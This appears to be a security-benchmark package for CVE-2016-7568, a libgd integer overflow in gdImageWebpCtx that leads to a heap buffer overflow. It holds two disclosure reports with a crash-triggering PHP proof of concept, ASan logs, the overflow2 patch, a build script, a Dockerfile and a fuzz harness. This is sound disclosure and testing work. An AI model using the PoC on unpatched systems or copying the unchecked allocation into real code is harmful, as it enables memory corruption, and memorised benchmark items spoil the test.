Project: libgd (libgd/libgd), language: c++
Vulnerability instance: libgd.cve-2016-7568
Sanitizer: address

================= Bug Report (1/2) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=73003
## Description:
Description:
------------
PHP VERSION
-----------------------
./sapi/cli/php --version
PHP 7.2.0-dev (cli) (built: Sep  2 2016 18:11:16) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies


PROOF-OF-CONCEPT FILE
-----------------------
Posted in the "Test script" section.


CONFIGURE LINE
-----------------------
./configure --with-gd --with-webp-dir --enable-static --enable-cli --disable-shared --disable-all


OTHER INFORMATION
-----------------------
Before compile the php source code, we must install libwebp first. The proof-of-concept file I supplied may consume lots of memory. To reproduce this issue more quickly, please run the command "export USE_ZEND_ALLOC=0" in terminal to disable ZEND heap management.


STACKTRACE
-----------------------
Posted in the "Actual result" section.


VULNERABILITY DETAILS
-----------------------
This is an integer overflow issue which could lead to heap buffer overflow (out-of-bounds write) circumstances. The bad code lies in function gdImageWebpCtx of file gd_webp.c. At line 123 we can see the following code.

argb = (uint8_t *)gdMalloc(gdImageSX(im) * 4 * gdImageSY(im));  // integer overflow!!!

There is no overflow check before calling the gdMalloc function. Actually, an integer overflow can be happened here. For example, 0x8000 * 0x8001 * 4 = 0x100020000 -> Overflow -> 0x20000. The buffer will be overflowed in the following for-loop.

for (y = 0; y < gdImageSY(im); y++) {
    for (x = 0; x < gdImageSX(im); x++) {
        register int c;
        register char a;
        c = im->tpixels[y][x];
        a = gdTrueColorGetAlpha(c);
        if (a == 127) {
            a = 0;
        } else {
            a = 255 - ((a << 1) + (a >> 6));
        }
        *(p++) = gdTrueColorGetRed(c);    // heap buffer overflow!!!
        *(p++) = gdTrueColorGetGreen(c);  // heap buffer overflow!!!
        *(p++) = gdTrueColorGetBlue(c);   // heap buffer overflow!!!
        *(p++) = a;    // heap buffer overflow!!!
    }
}


SIMPLE PATCH
-----------------------
Add the following code before line 123. In other words, call function overflow2 to check if overflow exists or not before calling function gdMalloc.

if (overflow2(gdImageSX(im), 4)) {
    return NULL;
}

if (overflow2(gdImageSX(im) * 4, gdImageSY(im))) {
    return NULL;
}


CREDIT
-----------------------
This vulnerability was discovered by Ke Liu of Tencent's Xuanwu LAB.


Test script:
---------------
<?php
    ini_set('memory_limit', -1);
    $im = imagecreatetruecolor(0x8000, 0x8001);
    imagewebp($im, 'php.webp');
    imagedestroy($im);
?>

Expected result:
----------------
Exit quietly.

Actual result:
--------------
==2583==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ff13d43e800 at pc 0x000000a77d0d bp 0x7ffe8ecdae90 sp 0x7ffe8ecdae88
WRITE of size 1 at 0x7ff13d43e800 thread T0
    #0 0xa77d0c in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:139:4
    #1 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
    #2 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
    #3 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
    #4 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
    #5 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
    #6 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
    #7 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
    #8 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
    #9 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
    #10 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0
    #11 0x469856 in _start ??:0:0

0x7ff13d43e800 is located 0 bytes to the right of 131072-byte region [0x7ff13d41e800,0x7ff13d43e800)
allocated by thread T0 here:
    #0 0x4f0812 in malloc ??:0:0
    #1 0x18e6886 in _emalloc php-src-master/Zend/zend_alloc.c:2402:11
    #2 0xa774b0 in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:123:20
    #3 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
    #4 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
    #5 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
    #6 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
    #7 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
    #8 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
    #9 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
    #10 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
    #11 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
    #12 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
  0x0ffea7a7fcb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffea7a7fd00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2583==ABORTING

================= Bug Report (2/2) ==================
## Source: GitHub Issue
## URL: https://github.com/libgd/libgd/issues/308
## Description:
Issue: libgd/libgd#308
Title: CVE-2016-7568 Integer Overflow in gdImageWebpCtx
State: closed
Created by: trylab
Created at: 2016-09-21 10:44:14+00:00

Issue Body:
# DESCRIPTION

An **integer overflow** issue was found in function `gdImageWebpCtx` of file `gd_webp.c` which could lead to **heap buffer overflow**.
# CREDIT

This vulnerability was discovered by **Ke Liu of Tencent's Xuanwu LAB**.
# VULNERABILITY DETAILS

The bad code lies in function `gdImageWebpCtx` of file `gd_webp.c`.

```
argb = (uint8_t *)gdMalloc(gdImageSX(im) * 4 * gdImageSY(im));  /* integer overflow!!! */
```

There is no overflow check before calling the `gdMalloc` function. Actually, an `integer overflow` can be happened here. For example, `0x8000 * 0x8001 * 4 = 0x100020000 -> Overflow -> 0x20000`. The buffer will be overflowed in the following `for` loop.

```
for (y = 0; y < gdImageSY(im); y++) {
    for (x = 0; x < gdImageSX(im); x++) {
        register int c;
        register char a;
        c = im->tpixels[y][x];
        a = gdTrueColorGetAlpha(c);
        if (a == 127) {
            a = 0;
        } else {
            a = 255 - ((a << 1) + (a >> 6));
        }
        *(p++) = gdTrueColorGetRed(c);    // heap buffer overflow!!!
        *(p++) = gdTrueColorGetGreen(c);  // heap buffer overflow!!!
        *(p++) = gdTrueColorGetBlue(c);   // heap buffer overflow!!!
        *(p++) = a;    // heap buffer overflow!!!
    }
}
```
# POC

This issue was reported to PHP originally. So currently the proof-of-concept file is only available for PHP. But I think it's not hard to write a PoC for libgd.

```
<?php
    ini_set('memory_limit', -1);
    $im = imagecreatetruecolor(0x8000, 0x8001);
    imagewebp($im, 'php.webp');
    imagedestroy($im);
?>
```
# EXCEPTION LOG

Also, the exception log was generated by PHP.

```
==2583==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ff13d43e800 at pc 0x000000a77d0d bp 0x7ffe8ecdae90 sp 0x7ffe8ecdae88
WRITE of size 1 at 0x7ff13d43e800 thread T0
    #0 0xa77d0c in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:139:4
    #1 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
    #2 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
    #3 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
    #4 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
    #5 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
    #6 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
    #7 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
    #8 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
    #9 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
    #10 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0
    #11 0x469856 in _start ??:0:0

0x7ff13d43e800 is located 0 bytes to the right of 131072-byte region [0x7ff13d41e800,0x7ff13d43e800)
allocated by thread T0 here:
    #0 0x4f0812 in malloc ??:0:0
    #1 0x18e6886 in _emalloc php-src-master/Zend/zend_alloc.c:2402:11
    #2 0xa774b0 in gdImageWebpCtx php-src-master/ext/gd/libgd/gd_webp.c:123:20
    #3 0x9c0aac in _php_image_output_ctx php-src-master/ext/gd/gd_ctx.c:175:6
    #4 0x9aab7d in zif_imagewebp php-src-master/ext/gd/gd.c:2690:2
    #5 0x2655967 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER php-src-master/Zend/zend_vm_execute.h:628:2
    #6 0x20399e0 in execute_ex php-src-master/Zend/zend_vm_execute.h:432:7
    #7 0x203f75a in zend_execute php-src-master/Zend/zend_vm_execute.h:474:2
    #8 0x1b41033 in zend_execute_scripts php-src-master/Zend/zend.c:1464:4
    #9 0x160a813 in php_execute_script php-src-master/main/main.c:2537:14
    #10 0x2babd79 in do_cli php-src-master/sapi/cli/php_cli.c:990:5
    #11 0x2ba4f0d in main php-src-master/sapi/cli/php_cli.c:1378:18
    #12 0x7ff25026ff44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287:0

SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 ??
Shadow bytes around the buggy address:
  0x0ffea7a7fcb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffea7a7fcf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffea7a7fd00:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffea7a7fd50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==2583==ABORTING
```
# PATCH

It's very easy to write a patch for this issue. Just call function `overflow2` to check if overflow exists or not before calling function `gdMalloc`.

```
if (overflow2(gdImageSX(im), 4)) {
    return;
}

if (overflow2(gdImageSX(im) * 4, gdImageSY(im))) {
    return;
}
```
# TIMELINE

2016/09/02 - Report to PHP as [BUG 73003](https://bugs.php.net/bug.php?id=73003)
2016/09/06 - Wrote a patch and created a [pull request](https://github.com/libgd/libgd/pull/296) for libgd
2016/09/06 - Wrote a patch and created a [pull request](https://github.com/php/php-src/pull/2119) for php-src
2016/09/16 - Fixed in PHP via [46df064](http://git.php.net/?p=php-src.git;a=commit;h=46df0642618eabc5b5b7df490d1ae23bda00a745) and [c18263e](https://github.com/php/php-src/commit/c18263e0e0769faee96a5d0ee04b750c442783c6)
2016/09/16 - Fixed in libgd via [40bec0f](https://github.com/libgd/libgd/commit/40bec0f38f50e8510f5bb71a82f516d46facde03)



Comments:
Comment by trylab on 2016-09-21 10:44:57+00:00:
This issue has been fixed in libgd and PHP. I opened it just for issue tracking.

Also, can anyone help request a CVE number for it? Thanks.


---

Comment by trylab on 2016-09-29 00:35:50+00:00:
Hello, CVE-2016-7568 has been assigned to this issue. Thanks.

http://www.openwall.com/lists/oss-security/2016/09/28/7


Commit References:
46df0642618eabc5b5b7df490d1ae23bda00a745
c18263e0e0769faee96a5d0ee04b750c442783c6
40bec0f38f50e8510f5bb71a82f516d46facde03

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./bootstrap.sh
./configure --prefix="$WORK" --disable-shared
make -j$(nproc) install

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool pkg-config libz-dev
RUN apt-get install -y make autoconf automake libtool pkg-config libz-dev
RUN git clone https://github.com/libgd/libgd libgd
RUN git -C libgd checkout 0423df113159fb6fd0db3b4b31ad13392d4d6421
WORKDIR $SRC/libgd
COPY build.sh $SRC/

Additional files:
filename: parser_target.cc
content: // Copyright 2018 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
/////////////////////////////////////////////////////////////////////////////

#include <stdint.h>
#include "gd.h"

#define PASTE(x) gdImageCreateFrom ## x ## Ptr
#define CREATE_IMAGE(FORMAT) PASTE(FORMAT)

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
    gdImagePtr im = CREATE_IMAGE(FUZZ_GD_FORMAT)(Size, (void*) Data);
    if (im) gdImageDestroy(im);
    return 0;
}